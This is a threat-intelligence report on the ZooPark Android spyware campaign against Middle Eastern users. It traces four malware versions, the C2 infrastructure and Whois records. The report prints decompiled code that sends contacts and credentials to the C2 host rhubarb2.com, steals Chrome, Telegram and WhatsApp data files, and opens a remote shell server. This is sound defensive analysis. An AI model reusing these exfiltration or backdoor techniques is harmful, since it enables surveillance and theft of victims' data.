[comment]:<> (===START_PAGE 1===) {0}------------------------------------------------ ![A large red triangle containing black silhouettes of various animals, including a lion, elephant, giraffe, and butterfly, set against a white background.](935eed7aa61f7777f62cfc032e11bee9_img.jpg) A large red triangle, pointing to the right, occupies the upper right portion of the page.Inside the triangle are black silhouettes of various animals:a lion, an elephant, a giraffe, a butterfly, a zebra, a horse, a bird, and a bull.The rest of the page is white. A large red triangle containing black silhouettes of various animals, including a lion, elephant, giraffe, and butterfly, set against a white background. May 2018 # WHO'S WHO IN THE ZOO.CYBERESPIONAGE OPERATION TARGETS ANDROID USERS IN THE MIDDLE EAST. {1}------------------------------------------------ # Contents | | | |-----------------------------------------------|----| | Technical Details..... | 3 | | Version 1.0 - circa 2015..... | 4 | | Version 2.0 (2016) - lightweight spyware.....| 6 | | Version 3.0 (2016) - commercial fork..... | 9 | | Version 4.0 (2017) - modern spyware..... | 11 | | Infrastructure..... | 20 | | rhubarb2.com..... | 21 | | rhubarb3.com..... | 21 | | 5.61.27.157..... | 23 | | 5.61.27.154..... | 24 | | Distribution..... | 25 | | Telegram channels..... | 25 | | Watering holes..... | 27 | | Victims..... | 33 | | Conclusions..... | 34 | | Appendix - Indicators of compromise..... | 35 | | Malware samples..... | 35 | | C2 servers..... | 36 | | Watering holes..... | 36 | {2}------------------------------------------------ ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015.The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017. The preferred infection vector for ZooPark is waterhole attacks.We found several news websites that have been hacked by the attackers to redirect visitors to a downloading site that serves malicious APKs.Some of the themes observed in campaign include “Kurdistan referendum”, “TelegramGroups” and “Alnaharegypt news”, among others. Target profile has evolved during the last years of campaign, focusing on victims in Egypt, Jordan, Morocco, Lebanon and Iran. {3}------------------------------------------------ # Technical Details The malware used in ZooPark operations spans across multiple versions, with the attackers including new features in each iteration.The following chart summarizes the main features added in new generations: ![A diagram showing the evolution of ZooPark malware features across four versions (Ver.1 to Ver.4) using nested boxes.Each version adds new capabilities to the previous ones.](d3ca266c298aeb34b019960c6c36f187_img.jpg) **Ver.4** **Ver.3** **Ver.2** **Ver.1** **Exfiltrated info:** Contacts; Accounts. **Additional exfiltrated info:** Call logs; GPS location; SMS messages; Device information. **Additional exfiltrated info:** Call records (audio); Installed applications details; Browser data - bookmarks & history; Photos and pictures from memory card. **Additional exfiltrated info:** Keylogs; Clipboard data; Arbitrary files/folders; Browser data - search history; Capturing photos/videos/audio/screenshots/screen records; External applications data - default list of them is:Telegram, WhatsApp, IMO, Chrome (could be extended in config). **Backdoor functionality:** Shell commands execution (with or without root); Silently sending SMS messages; Making calls. A diagram showing the evolution of ZooPark malware features across four versions (Ver.1 to Ver.4) using nested boxes.Each version adds new capabilities to the previous ones. *Evolution of ZooPark malware features* {4}------------------------------------------------ In this section we will detail the main technical features of the malware used in this campaign. ## Version 1.0 - circa 2015 The first version of the malware that we found (EC5A6F0E743F4B858ABA9DE96A33FB0C) is pretty simple.The certificate used has been valid since 2015: ``` Issuer:CN=Android Debug, O=Android, C=US Validity:from = Sat Jun 20 09:01:47 MSK 2015 to = Mon Jun 12 09:01:47 MSK 2045 Subject:CN=Android Debug, O=Android, C=US ``` *Malware certificate* It has only two functions – stealing contacts from the address book and accounts registered on the victim device.The malware mimics a Telegram application: ![Screenshot of the Telegram app interface on an Android device.The screen shows a grid of app icons including Browser, Calculator, Calendar, Camera, Clock, Dev Tools, Downloads, Email, Gallery, Messaging, Music, Notes, People, Phone, RSS Reader, Search, Settings, Speech Recorder, Telegram Group (highlighted with a red box), and Terminal Emulator.](764bb8d7c93b090e205d908e1a8cade4_img.jpg) Screenshot of the Telegram app interface on an Android device.The screen shows a grid of app icons including Browser, Calculator, Calendar, Camera, Clock, Dev Tools, Downloads, Email, Gallery, Messaging, Music, Notes, People, Phone, RSS Reader, Search, Settings, Speech Recorder, Telegram Group (highlighted with a red box), and Terminal Emulator. After being manually launched, it checks for an internet connection.If unavailable, it only shows a dialog with an alert in Farsi: لطفا به اینترنت متصل شده و یکبار دیگر برنامه را اجرا کنید. "Please connect to the internet and run the program again." When the connection is stable, the malware sends a request to the C2 server, encoding the stolen data (contacts and accounts) in base64: {5}------------------------------------------------ ``` "http://www.rhubarb2.com/telg/sv/sv.php" {'id':Base64Encode(id), 'data':Base64Encode(contacts)} ``` ``` "http://www.rhubarb2.com/get/index.php?id=" + Base64Encode("gogo") + "&user=" + Base64Encode("TelgramGp") + "&pass=" + Base64Encode("TelgramGp") + "&data=" + Base64Encode(accounts)) ``` This is followed by the content of the website being displayed (not available at the moment): ``` "http://www.rhubarb2.com/telg/index.php?set=show" ``` within the app.We found that the content is available in the new server used by the attackers (rhubarb3.com): Image:Screenshot of a web application interface for finding Telegram groups.The page has a header in Persian:'شما می توانید در زیر لینک گروه های خود را برای دیگران قرار دهید' (You can place your group links below for others).There are two input fields:'نام گروه' (Group Name) and 'آدرس گروه' (Group Address), followed by an 'افزودن' (Add) button.Below this is a section titled 'لیست گروه های ثبت شده در برنامه' (List of groups registered in the program), which contains a list of 20 Telegram group names and their creation dates in Persian. شما می توانید در زیر لینک گروه های خود را برای دیگران قرار دهید نام گروه: آدرس گروه: افزودن **لیست گروه های ثبت شده در برنامه.** - دورهمی در تلگرام - ۲۰:۰۹ - فلكلور - ۱۵:۰۸ - فقط سینه - ۱۵:۲۳ - دوستان - ۱۴:۱۲ - تلگرامی، کوردی - ۱۷:۰۸ - فقط خوشحالی، دوستان - ۱۹:۰۸ - پاتوق سینه ای کان - ۱۲:۰۸ - چهار گوشه ایران آریایی - ۱۵:۰۸ - کلینیک شبانه - ۱۴:۰۸ - رسم و ریاسای کورد - ۱۶:۰۸ - تایبو - ۰۵:۰۸ - سیندجها - ۰۹:۰۸ - سقر سایت - ۰۹:۰۸ - به رته ونایه - ۱۰:۰۸ - "شعری کوردی" - ۱۱:۰۸ - بیاید سیند - ۱۹:۰۸ - ziman u Edeba Kurdî - ۱۷:۰۸ - سینه گیان - ۲۱:۱۰ - عشق، نت - ۲۰:۱۰ - ملت ابراهیم - ۱۶:۱۰ - راه پرستگاران - ۰۱:۱۰ - رایوونی، زنان - ۰۹:۱۱ - سیره صحابه - ۱۸:۱۱ This is a list of Iranian Telegram channels.Any additional channel can be added to the form above. {6}------------------------------------------------ ## Version 2.0 (2016) - lightweight spyware We found that all samples of this version are signed by the same debug certificate: Serial Number:0x1 Issuer:C=US, O=Android, CN=Android Debug Validity:from = Mon May 30 12:44:34 MSK 2016 SHA-1 Fingerprint:E2 7D 9A 46 81 AD 65 5A A1 5E E7 8A D7 53 51 90 E6 C1 CA FF For this version, every sample contains a hardcoded configuration that contains its C2 address and variables for use in the request: | | 6a388edbce88bb033
1ae875ceeb2f319 | cb67abd070ae18839
0fc040cbe60e677 | e2f62b5acf3795a62e9
d54e1301c4e7b | |---------------------|--------------------------------------|--------------------------------------|--------------------------------------| | Baseurl | "http://www.rhubarb3.com/" | "http://www.rhubarb3.com/" | "http://www.rhubarb3.com/" | | FunctionCode | "none" | "none" | "none" | | UserLocation | "" | "" | "" | | TypeFile | "(ALLNONE)" | "(Referendum)" | "(Postrall-SSS)" | | KeyKey | "dafak" | "dafak" | "dafak" | In the table above, the TypeFile variable is the application that the malware mimics. This new version is similar to the previous.The main difference is the inclusion of new spying features such as exfiltrate GPS location, SMS messages, call logs and some extra general information. ``` String.valueOf(String.valueOf(String.valueOf(String.valueOf(String.valueOf(String.valueOf(String.valueOf( String.valueOf(String.valueOf(String.valueOf(String.valueOf(String.valueOf(String.valueOf(String .valueOf(String.valueOf(String.valueOf(String.valueOf(String.valueOf(String this.TypeFile + " " + ((TelephonyManager)v2).getDeviceId() + "$") + "DeviceSoftwareVersion$" + ((TelephonyManager)v2).getDeviceSoftwareVersion() + "$") + "Line1Number$" + (( TelephonyManager)v2).getLine1Number() + "$") + "NetworkCountryIso$" + ((TelephonyManager) v2).getNetworkCountryIso() + "$") + "NetworkOperator$" + ((TelephonyManager)v2). getNetworkOperator() + "$") + "NetworkOperatorName$" + ((TelephonyManager)v2).getNetworkOperatorName() + "$") + "NetworkType$" + ((TelephonyManager)v2).getNetworkType() + "$") + "PhoneType$" + ((TelephonyManager)v2).getPhoneType() + "$") + "SimCountryIso$" + ((TelephonyManager) v2).getSimCountryIso() + "$") + "SimOperator$" + ((TelephonyManager)v2).getSimOperator() + "$") + "SimOperatorName$" + ((TelephonyManager)v2).getSimOperatorName() + "$") + "SimSerialNumber$" + ((TelephonyManager)v2).getSimSerialNumber() + "$") + "SimState$" + ((TelephonyManager)v2).getSimState() + "$") + "SubscriberId(imsi)$" + ((TelephonyManager) v2).getSubscriberId() + "$") + "VoiceMailNumber$" + ((TelephonyManager)v2).getVoiceMailNumber() ``` General information collected by ver.2 {7}------------------------------------------------ Additionally, there is a strange feature called “pic”. ``` if (type == "pic") { try { RandomAccessFile v5 = new RandomAccessFile(Environment.getExternalStoragePublicDirectory( Environment.DIRECTORY_PICTURES) + "/zoo.zoo", "r"); try { byte[] v1 = new byte[((int)v5.length())]; v5.read(v1); v3 = Base64.encodeToString(v1, 0); File v6 = new File(Environment.getExternalStoragePublicDirectory(Environment .DIRECTORY_PICTURES) + "/zoo.zoo"); v5.close(); if (!v6.exists()) { return; } else if (v6.exists()) { v6.delete(); } } catch (IOException v4_1) { return; } } catch (FileNotFoundException v4) { return; } } HashMap v2 = new HashMap(); v2.put("id", id); v2.put("mes", v3); v2.put("typ", type); new AsyncHttpPost(this, v2).execute(new String[]{String.valueOf(this.Baseurl) + "save.php?key=" + this.KeyKey}); ``` *Pic feature* This reads the content of the file “zoo.zoo” (located on the memory card, in the picture/photo path), encodes it with Base64 and sends it to the server, removing the original file.This file is a photo silently captured by the frontal camera, and we believe it was probably created by some unknown malware component. One of the samples (6A388EDBCE88BB0331AE875CEEB2F319) mimics the All-in-One messenger application.After launch, it only presents a credential form if the date on the device is prior to 2017.01.01 (hardcoded).Otherwise, it just executes System.exit(). {8}------------------------------------------------ ![Screenshot of a mobile application interface titled 'All In One'.The screen displays a login form with two input fields labeled 'Email' and 'Password', and a blue 'Login' button.The background is a blue sky with white clouds.The top status bar shows the time as 5:19.](d4e9f8f6bf5d7853ecae9c9633900af1_img.jpg) Screenshot of a mobile application interface titled 'All In One'.The screen displays a login form with two input fields labeled 'Email' and 'Password', and a blue 'Login' button.The background is a blue sky with white clouds.The top status bar shows the time as 5:19. Phishing form 6A388EDBCE88BB0331AE875CEEB2F319 Obviously, after clicking the 'Login' button, credentials will be sent to the C2 server, in a similar request to that used in version 1.0: V1: ``` http://www.rhubarb2.com/get/index.php?id=" + Base64Encode("gogo") + "&user=" + Base64Encode("TelgramGp") + "&pass=" + Base64Encode("TelgramGp") + "&data=" + Base64Encode(accounts)) ``` V2: ``` http://www.rhubarb3.com/get/index.php?id=" + Base64Encode("gogo") + "&user=" + Base64Encode(entered_email) + "&pass=" + Base64Encode(entered_password) + "&data=" + Base64Encode("[AllInOne]" + accounts) ``` This seems to confirm that the C2 servers used by both versions have a very similar backend. {9}------------------------------------------------ ## Version 3.0 (2016) - commercial fork This version of the malware is especially interesting due to the notable similarities to the commercial spyware product [Spymaster Pro](#).There are several code similarities, with the main difference being that ZooPark uses its own command and control server: ``` private void doImageFileUpload(String path) { DataInputStream v0; DataOutputStream v13; ByteArrayInputStream v16; HttpURLConnection v11 = null; String v15 = path; String v21 = "\r\n"; String v26 = "--"; String v6 = "*****"; int v22 = 1048576; String v28 = "http://www.spymasterpro.com/spyMobile/upload.php"; Bitmap v3 = null; } ``` *Spymaster Pro code fragment* ``` private void doImageFileUpload(String path, String imei) { DataInputStream v0; int v7; byte[] v4; int v5; DataOutputStream v10; URLConnection v8; FileInputStream v14; int v20; String v3; String v23; String v19; String v13 = path; try { v19 = "\r\n"; v23 = "--"; v3 = "*****"; v20 = 1048576; } String v25 = MainActivity.Server_Domain + "/spyMobile/upload.php?imei=" + imei; } ``` *ZooPark code fragment* From the screenshots above, Spymaster Pro uses `http://www.spymasterpro.com/spyMobile/upload.php` and ZooPark `http://*own C2 server*/+/spyMobile/upload.php`. In order to get its C2 address, ZooPark v3 sends a request to an intermediate server to download a file that looks like a normal picture (`androidupdaters.com/img.jpg`): {10}------------------------------------------------ ![](d336e7ffee4f537d0805ca840ec28582_img.jpg) {11}------------------------------------------------ All the observed v3 samples are signed by one of the following three certificates: | Serial Number | Valid from | Signed malware MD5 | |---------------|--------------------------|----------------------------------| | 0x1 (debug) | Jun 19 07:25:37 MSK 2016 | 7D7AD116E6A42D4E518378E2313E9392 | | 0x709decd2 | Aug 14 12:52:59 MSK 2016 | A7D00C8629079F944B61C4DD5C77C8FB | | | | AC4402E04DE0949D7BEED975DB84E594 | | 0x60b364bc | Apr 14 10:44:04 MSK 2016 | B714B092D2F28FCF78EF8D02B46DBF9C | This version introduces a number of improvements compared to the previous self-developed versions: - Call records (audio); - Browser data – bookmarks and history; - Installed application details; - Photos and pictures from memory card. ## Version 4.0 (2017) - modern spyware This malware variant represents a significant improvement on version 2.0, which seems to indicate that version 3.0 was some kind of fork. {12}------------------------------------------------ ![Directory tree diagram showing the structure of a malicious code sample.The tree starts with 'com' at the top, followed by 'del', 'tele.acc', 'designerscripts', 'LS_main', 'R', and 'main'.Below 'main' is 'update', which contains 'BootReceiver' and 'MainService'.This 'update' directory is highlighted with a yellow box and labeled 'Ver.2 legacy code'.Below 'update' is 'testunit', which contains an 'android' directory.The 'android' directory contains a list of files:'funcs', 'l', 'net', 'observer', 'r', 'AES', 'AR', 'AS', 'BuildConfig', 'Config', 'DAR', 'DBH', 'G', 'GooglePlayService', 'Ops', 'Prefs', 'Prep', 'R', 'RSA', 'ReqProc', 'Storage', and 'libs'.The 'android' directory and its contents are enclosed in a red box and labeled 'Ver.4 code addition'.](4e4be0bd8b235167902f2c03e41da651_img.jpg) ``` com └─ del └─ tele.acc └─ designerscripts └─ LS_main └─ R └─ main └─ update └─ BootReceiver └─ MainService └─ testunit └─ android └─ funcs └─ l └─ net └─ observer └─ r └─ AES └─ AR └─ AS └─ BuildConfig └─ Config └─ DAR └─ DBH └─ G └─ GooglePlayService └─ Ops └─ Prefs └─ Prep └─ R └─ RSA └─ ReqProc └─ Storage └─ libs ``` Ver.2 legacy code Ver.4 code addition Directory tree diagram showing the structure of a malicious code sample.The tree starts with 'com' at the top, followed by 'del', 'tele.acc', 'designerscripts', 'LS\_main', 'R', and 'main'.Below 'main' is 'update', which contains 'BootReceiver' and 'MainService'.This 'update' directory is highlighted with a yellow box and labeled 'Ver.2 legacy code'.Below 'update' is 'testunit', which contains an 'android' directory.The 'android' directory contains a list of files:'funcs', 'l', 'net', 'observer', 'r', 'AES', 'AR', 'AS', 'BuildConfig', 'Config', 'DAR', 'DBH', 'G', 'GooglePlayService', 'Ops', 'Prefs', 'Prep', 'R', 'RSA', 'ReqProc', 'Storage', and 'libs'.The 'android' directory and its contents are enclosed in a red box and labeled 'Ver.4 code addition'. Version 4 malicious code structure Once again, all observed samples are signed by the same certificate, this time valid since 2017: ``` Serial Number:0x25208471 Issuer:CN=t, OU=e, O=m, L=m, ST=f, C=e Validity:from = Thu May 25 08:56:55 MSK 2017 to = Mon Oct 10 08:56:55 MSK 2044 ``` {13}------------------------------------------------ All the samples represents backdoored legitimate applications with malicious code injection: | MD5 | Package | ITW name | |----------------------------------|-----------------------------------------|--------------------| | 519018ecfc50c0cf6cd0c88cc41b2a69 | ltd.banehappy.drofirewall | FirewallFA.apk | | 5ad36f6dd060e52771a8e4a1dd90c50c | free.vpn.proxy Unblock android.easy.apk | DVPNEasy.apk | | b44b91b14f176fbf93d998141931a4aa | com.del.tele.acc | DeleteTelegram.apk | Since this version has evolved from v2, its configuration is very similar to the previous variant: | | 519018ecfc50c0cf6cd0c88cc41b2a69 | 5ad36f6dd060e52771a8e4a1dd90c50c | b44b91b14f176fbf93d998141931a4aa | |--------------|----------------------------------|----------------------------------|----------------------------------| | Baseurl | "http://www.rhubarb3.com/" | "http://www.rhubarb3.com/" | "http://www.rhubarb3.com/" | | FunctionCode | "none" | "none" | "none" | | UserLocation | "" | "" | "" | | TypeFile | "(FirewallFA)" | "(VPNEasy)" | "(DeleteTelegram)" | | KeyKey | "dafak" | "dafak" | "dafak" | Even if the Baseurl is the address of the C2 server, this is a legacy variable from version 2.Actually, the main C2 server address is determined like in version 3, by sending a request to an intermediate server.All the samples found contain two encrypted intermediate server addresses: ``` static void init() { Log(0, "INITIALIZING IMAGE ADDRESSES"); byte[] v6 = new byte[]{98, 110, 112, 54, 100, 107, 65, 49, 78, 81, 61, 61, 10}; byte[] v7 = new byte[]{102, 88, 49, 57, 78, 65, 61, 61, 10}; byte[] v5 = new byte[]{78, 71, 108, 49, 99, 119, 61, 61, 10}; new byte[]{78, 122, 56, 52, 78, 68, 99, 56, 80, 106, 81, 51, 78, 106, 81, 57, 80, 65, 61, 61, 10}; new byte[]{78, 87, 57, 122, 98, 84, 82, 119, 100, 109, 48, 61, 10}; byte[] v2 = new byte[]{90, 51, 82, 113, 101, 72, 86, 118, 97, 110, 116, 50, 97, 109, 100, 54, 97, 51, 104, 53, 10}; byte[] v3 = new byte[]{78, 87, 49, 49, 100, 87, 49, 121, 97, 50, 86, 121, 100, 87, 49, 49, 78, 72, 66, 50, 98, 81, 61, 61, 10}; byte[] v4 = new byte[]{97, 110, 74, 116, 99, 50, 100, 118, 99, 103, 61, 61, 10}; G.IMAGE_ADDRESSES.add(G.byteToString(v6) + G.byteToString(v7) + G.byteToString(v2) + G.byteToString(v5) + G.byteToString(v3)); G.IMAGE_ADDRESSES.add(G.byteToString(v6) + G.byteToString(v4) + G.byteToString(v5) + G.byteToString(v3)); Log(0, String.valueOf(G.IMAGE_ADDRESSES)); } ``` {14}------------------------------------------------ After decoding IMAGE\_ADDRESSES the real request would be: ``` 5TRDUMP c1a3:9c lcom/testunit/android/G; ->init [http://dlgmail.com/google_logo.jpg, http://www.androidupdaters.com/google_logo.jpg] ``` Then the malware finds out which of the requested images contains a valid IP address for the main C2 server, like version 3. ![Google logo](33809b11cc711711ebb7be1282fcd4b7_img.jpg) Google logo google logo.jpg [illegible] The main C2 server has an IP from the same subnet as version 3 The main entry point for this version is triggered by two specific events: ```

``` This receiver starts the main malicious service called `GooglePlayService`, which controls other components.After launch, it creates all the working directories, inits the database and checks if the current device is rooted by searching for the following `su` binaries and `Superuser.apk`: ``` v7 = new String[]{"system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su", "/system/bin/failsafe/su", "/data/local/su", "/su/bin/su"}; v8 = Runtime.getRuntime().exec(new String[]{"system/xbin/which", "su"}); ``` It also registers two additional receivers: {15}------------------------------------------------ ``` GooglePlayService.networkReceiver = new NetworkReceiver(); IntentFilter v3 = new IntentFilter(); v3.addAction("android.net.conn.CONNECTIVITY_CHANGE"); this.registerReceiver(GooglePlayService.networkReceiver, v3); Log(0, "NETWORK RECEIVER SET"); GooglePlayService.screenStateReceiver = new ScreenStateReceiver(); IntentFilter v4 = new IntentFilter(); v4.addAction("android.intent.action.SCREEN_ON"); v4.addAction("android.intent.action.SCREEN_OFF"); this.registerReceiver(GooglePlayService.screenStateReceiver, v4); Log(0, "SCREEN STATE RECEIVER SET"); ``` They are triggered after the device connection changes or the screen turns on/off.In the first case it starts uploading the stolen data to the C2; in the second it processes preloaded C2 server commands. This version has a huge internal configuration containing dozens of parameters that regulate the malicious activities.This configuration can be updated from the C2 server. Part of the stolen information is stored in an internal SQL database, called testunitdb.Actually, this version is able to steal additional information compared to version 3: - Browser data:search history; - Clipboard data; - Keylogs; The keylogger implementation based on the AccessibilityService is something we have already seen in other spyware families.Basically, it listens for specific events such as changing the text of any EditText element on the screen (type = 16), opening a PopupWindow, Menu, Dialog, etc.(for instance, windows that may contain EditText fields (type = 32)).When the second event is found, the malware initializes the keylogger instance, logging typed text and the related contextual application name. {16}------------------------------------------------ This means the Keylogger is able to log any typed credentials for any application with system forms. - Arbitrary files/folders; - Capturing photos/videos/audio; - Capturing screenshots/screen records; - External applications data – default list:Telegram, WhatsApp, IMO, Chrome (can be extended in the configuration). ``` ((List) v5).add("/app_chrome/Default/Login Data"); ((List) v5).add("/app_chrome/Default/History"); ((List) v5).add("/app_chrome/Default/databases"); ((List) v5).add("/r/app_chrome/Default/Login Data"); ((List) v5).add("/r/app_chrome/Default/History"); ((List) v5).add("/r/app_chrome/Default/databases"); ((Map) v7).put("com.android.chrome", v5); v5 = new ArrayList(); ((List) v5).add("/f/cache4.db"); ((List) v5).add("/files/cache4.db"); ((Map) v7).put("org.telegram.messenger", v5); v5 = new ArrayList(); ((List) v5).add("/db/msgstore.db"); ((List) v5).add("/databases/msgstore.db"); ((Map) v7).put("com.whatsapp", v5); v5 = new ArrayList(); ((List) v5).add("/db/imofriends.db"); ((List) v5).add("/databases/imofriends.db"); ((Map) v7).put("com.imo.android.imoim", v5); ``` *External apps attacked by ZooPark malware* This version also implements some backdoor functionality: - Shell command execution (with or without root); - Silently sending SMSs; - Making calls. ## Communications with C2 server After the malware obtains the main C2 address, it connects to the C2 server on port 6666.All the transmitted data is encrypted with RSA, with its Java public key file located in `\assets\puki`. It also generates an AES key and sends it to the C2 server for additional responses.Interestingly, the developers used the ["secure random"](#) fix for key generation: {17}------------------------------------------------ ``` public static SK generateKey() throws GeneralSecurityException { AES.fixPrng(); KeyGenerator v3 = KeyGenerator.getInstance("AES"); v3.init(128); return new SK(v3.generateKey(), new SecretKeySpec(AES.randomBytes(32), "HmacSHA256")); } private static void fixPrng() { if (!AES.prngFixed.get()) { Class v1 = PrngFixes.class; __monitor_enter(v1); try { if (!AES.prngFixed.get()) { PrngFixes.apply(); AES.prngFixed.set(true); } } } } public static void apply() { PrngFixes.applyOpenSSLFix(); PrngFixes.installLinuxPRNGSecureRandom(); } private static void applyOpenSSLFix() throws...int v8 = 1024; if (Build$VERSION.SDK_INT >= 16 && Build$V...``` This shows the developers' concerns about cryptography.Since this attack is very targeted, we can assume the developers paid special attention to work on outdated devices that are vulnerable to this "insecure random" attack. Here is the scheme of client-server communications: ![Diagram illustrating the client-server communication scheme.A Victim (client) and a C2 server are shown.The Victim has an RSA public key (assets) and a generated AES key.The C2 server has an RSA private key.A solid arrow labeled 'Hello, here is my AES key' goes from the Victim to the C2 server.A dashed arrow labeled 'Hello' goes from the C2 server to the Victim.A legend box shows a solid arrow for 'RSA encrypted' and a dashed arrow for 'AES encrypted'.](9b9d2abd741ed4bafe7f78f89961c663_img.jpg) ``` graph LR subgraph Legend L1[RSA encrypted] L2[AES encrypted] end Victim["Victim RSA public key (assets) AES key (generated)"] C2Server["C2 server RSA private key"] Victim -- "Hello, here is my AES key" --> C2Server C2Server -- "Hello" --> Victim ``` Diagram illustrating the client-server communication scheme.A Victim (client) and a C2 server are shown.The Victim has an RSA public key (assets) and a generated AES key.The C2 server has an RSA private key.A solid arrow labeled 'Hello, here is my AES key' goes from the Victim to the C2 server.A dashed arrow labeled 'Hello' goes from the C2 server to the Victim.A legend box shows a solid arrow for 'RSA encrypted' and a dashed arrow for 'AES encrypted'. Interestingly, the malware decrypts and saves commands received from its C2 server in files within its own directory to process them later: {18}------------------------------------------------ ``` P v15 = this.decryptPac(v11.readObject()); if(v15.getType() == 1 && v15.getFilesLeft() != -1) { FileOutputStream v8 = new FileOutputStream(new File(Storage.DIR_INTERNAL_ROOT + Storage .REQS_PATH + "/" + v15.getFileName())); v8.write(v15.getContent()); v8.flush(); v8.close(); int v5 = 1; L.log(0, "DOWNLOADED:" + v15.getFileName()); } ``` As mentioned in this code snippet, the malware operates with “Pac” serializable objects that are used as tasks from the server to execute (when the “type” value is even) and as report containers for C2 submission (when the “type” value is odd).The “Pac” report with the completed task has a “type” value +1 compared to the related task.All reports are saved in the “TO\_GO” directory. Here is the full list of possible tasks from the C2 server: | Pac type | Description | |----------|---------------------------------------------------------------------------------------| | 2 | Update malware with specified config. | | 4 | Execute shell command with runtime. | | 6 | Zip specified file/folder and save it in the “TO_GO” directory. | | 8 | Write task content in temporary zip file, extract everything from it and delete it. | | 10 | Copy specified file/folder to specified directory. | | 12 | Move specified file/folder to specified directory. | | 14 | Rename specified file/folder. | | 16 | Delete specified file/folder. | | 18 | Make specified directory. | | 20 | Silently send SMS to specified number with specified content. | | 22 | Make a call to specific number. | | 24 | Create a file system tree of the specified path and save it in the “TO_GO” directory.| | 26 | Update intermediate C2 server list (servers with images). | The malware also starts a shell server that can execute commands without root privileges on the victim device: {19}------------------------------------------------ ``` this.serverSocket = new ServerSocket(0); G.SHELL_SERVER_PORT = Integer.valueOf(this.serverSocket.getLocalPort()); this.socket = this.serverSocket.accept(); this.socket.setSoTimeout(60000); this.shell = G.ROOT ? Runtime.getRuntime().exec("su"):Runtime.getRuntime().exec("sh"); this.shOut = new DataOutputStream(this.shell.getOutputStream()); this.shIn = new BufferedReader(new InputStreamReader(this.shell.getInputStream())); this.oos = new ObjectOutputStream(this.socket.getOutputStream()); this.ois = new ObjectInputStream(this.socket.getInputStream()); this.oos.writeObject(AES.encrypt("HELLO SERVER", G.SKs)); this.oos.flush(); ``` The SHELL\_SERVER\_PORT value will be submitted to the C2 server, so the attackers will be able to connect. {20}------------------------------------------------ ## Infrastructure We have detected the following infrastructure used in this campaign: | Server | Malware version | Activity period | Description | |-------------------------|-----------------|-----------------|-------------------------------| | enteckhab10.xp3.biz | V.1 | 2015-2016 | Intermediate server | | rhubarb2.com | V.1, V.2 (?) | 2015-2016 | C2 server/intermediate server | | rhubarb3.com | V.2, V.4 | 2016-present | C2 server | | androidupdaters.com | V.3, V.4 | 2016-present | Intermediate server (image) | | dlgmail.com | V.4 | 2016-2017 | Intermediate server (image) | | 5.61.27.154 | V.4 | present | C2 server | | 5.61.27.157 | V.3 | present | C2 server | The following table summarizes the most interesting data from their Whois records: | | androidupdaters.com | dlgmail.com | rhubarb2.com | rhubarb3.com | |--------------|----------------------------------|---------------------------------------------------|--------------------|----------------------------| | Email: | asgharkhof@gmail.com | silent.city2020@mail.com | pilton86@yahoo.com | PrivacyProtect | | City, Street | Tehran, saadat abaad, darya blvd | Tehran, valiasr balatar az vanak k sharifi p5 v15 | Sanandaj, Baharan | PrivacyProtect | | Name | parspack 62555 | mohammad hosein asna ashar | Mohsen Malekian | PrivacyProtect | | Postal Code | 9865214523 | 1663976888 | 6614478527 | PrivacyProtect | | Phone | +98.2188561212 | +98.2188888299 | +98.9303938251 | PrivacyProtect | | IP | 178.162.214.146 | 46.4.41.195 | 109.200.28.162 | 5.144.130.33
46.4.74.56 | {21}------------------------------------------------ ### rhubarb2.com This server was used as C2 server for versions 1 and 2.Whois record: | | | |--------------------------------------|----------------------------------------------------| | Registrant Name:محسن ملكيان |//Mohsen Malekian | | Registrant Organization: | | | Registrant Street:بهاران |//Baharan | | Registrant City:سنندج |//Sanandaj (capital of Kurdistan Province in Iran) | | Registrant State/Province: | | | Registrant Postal Code:6614478527 | | | Registrant Country:IR | | | Registrant Phone:+98.9303938251 | | | Registrant Email:pilton86@yahoo.com | | ### rhubarb3.com This server seems to mirror rhubarb2.com, including paths: | | |-------------------| |/telg/sv/sv.php | |/telg/index.php | |/get/index.php | Attackers relocated this C2 domain from 5.144.130.33 (located in Iran) to 46.4.74.56 in July 2017: | | | | | |------------|----------------|--------------|--------------| | 2013-05-31 | Not Resolvable | 72.21.92.29 | -none- | | 2016-08-10 | New | -none- | 5.144.130.33 | | 2017-07-12 | Change | 5.144.130.33 | 46.4.74.56 | *Rhubarb3.com IP history* Folders in the open listing directory "/get/main/" were deployed in August 2016, when the domain was registered. {22}------------------------------------------------ ![Screenshot of a web browser showing the URL www.rhubarb3.com/get/main/bootstrap/in the address bar.](f756d8e1fde6bc6ebdf4a5d7f1b2a57a_img.jpg) Screenshot of a web browser showing the URL www.rhubarb3.com/get/main/bootstrap/in the address bar. #### Index of/get/main/bootstrap/ | Name | Last modified | |----------------------------------------------------------------------|----------------------| |

Image:Parent Directory icon

Parent Directory | 09-Aug-2016 10:15 | |

Image:CSS icon

css | 09-Aug-2016 10:15 | |

Image:img icon

img | 09-Aug-2016 10:15 | |

Image:js icon

js | 09-Aug-2016 10:15 | *Proudly Served by LiteSpeed Web Server at www.rhubarb3.com Port 80* The timestamp of the Parent Directory for "/images" (Templated.co web interface) coincides with domain relocation: ![Screenshot of a web browser showing the URL rhubarb3.com/images/in the address bar.](c2749f79dd1fc9bd2dce52bcbb2fb3ef_img.jpg) Screenshot of a web browser showing the URL rhubarb3.com/images/in the address bar. #### Index of/images/ | Name | Last modified | Size | Desc: | |----------------------------------------------------------------------|--------------------------|-------------|--------------| |

Image:Parent Directory icon

Parent Directory | 11-Jul-2017 14:41 | - | | |

Image:banner.jpg icon

banner.jpg | 15-Jan-2015 18:03 | 48k | | |

Image:bg-left.png icon

bg-left.png | 14-Jul-2014 15:12 | 16k | | |

Image:bg.jpg icon

bg.jpg | 14-Jul-2014 15:06 | 132k | | |

Image:ch-tick.png icon

ch-tick.png | 22-Jul-2014 11:47 | 4k | | |

Image:dot.png icon

dot.png | 16-Jul-2014 09:58 | 4k | | |

Image:main--bg.png icon

main--bg.png | 16-Jul-2014 10:10 | 24k | | |

Image:pic01.jpg icon

pic01.jpg | 15-Jan-2015 18:03 | 24k | | |

Image:pic02.jpg icon

pic02.jpg | 15-Jan-2015 18:03 | 24k | | |

Image:pic03.jpg icon

pic03.jpg | 15-Jan-2015 18:03 | 24k | | |

Image:pic04.jpg icon

pic04.jpg | 15-Jan-2015 18:03 | 24k | | |

Image:pic05.jpg icon

